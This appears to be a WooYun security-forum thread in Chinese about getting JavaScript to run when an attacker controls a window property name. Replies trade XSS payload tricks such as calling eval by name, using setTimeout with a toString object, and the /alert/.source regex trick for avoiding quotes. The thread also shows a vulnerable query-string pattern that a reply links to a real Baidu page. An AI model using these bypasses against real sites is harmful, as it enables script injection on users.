贡献榜 众测 知识 关于 登录
当前位置:WooYun(白帽子技术社区) >> xss >> window属性可控能否执行js代码?
比如 s = "alert";window[s](obj)这种。像window["alert"]这种因为alert是window的一个方法,可以被调用。复杂的js代码如果没有双引号的话直接包一个function就可以了,但现在这种赋值方法s外面一定有双引号,觉得很难绕过了。。。不知大牛们有没有好方法
s = "alert";window[s](obj)
@Sogili @gainover
@xsser
window["eval"]('alert()')
@xsser obj是一个key-value dict,没发现改变类型的方法
window["setTimeout"]({toString:function(){return 'alert(1)'}})
@Sogili dict的key-value也被引号包裹了。。还是不行,不过这个方法挺新奇的,先感谢一个
this[/alert/.source](/xss/);// 在某些情况可以用在严格模式下 以上是不行的 呵呵只有这样是可以的window[/alert/.source](/xss/);window.parent[/alert/.source](/xss/);//window看情况可有可无
this[/alert/.source](/xss/);// 在某些情况可以用
window[/alert/.source](/xss/);window.parent[/alert/.source](/xss/);//window看情况可有可无
个人建议玩XSS的都去看一下ECMA-262里面有关于JavaScript语言规范细节时间充足的情况下可以考虑看看ECMA-357
@hqdvista 引号是可以规避的
@Lmy上下文大概是这样的var s = location.search.split("&");var d = {}var f = location.search.split(".")[0]for i in s: ks = i.split("=") k = ks[0] v = ks[1] d[k] = vwindow[f](d);这种隐形的双引号包裹也可以逸出?
上下文大概是这样的var s = location.search.split("&");var d = {}var f = location.search.split(".")[0]for i in s: ks = i.split("=") k = ks[0] v = ks[1] d[k] = vwindow[f](d);
感觉这场景,哪儿见过,百度某URL里的?
@gainover 大牛果然火眼金睛
网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地
登录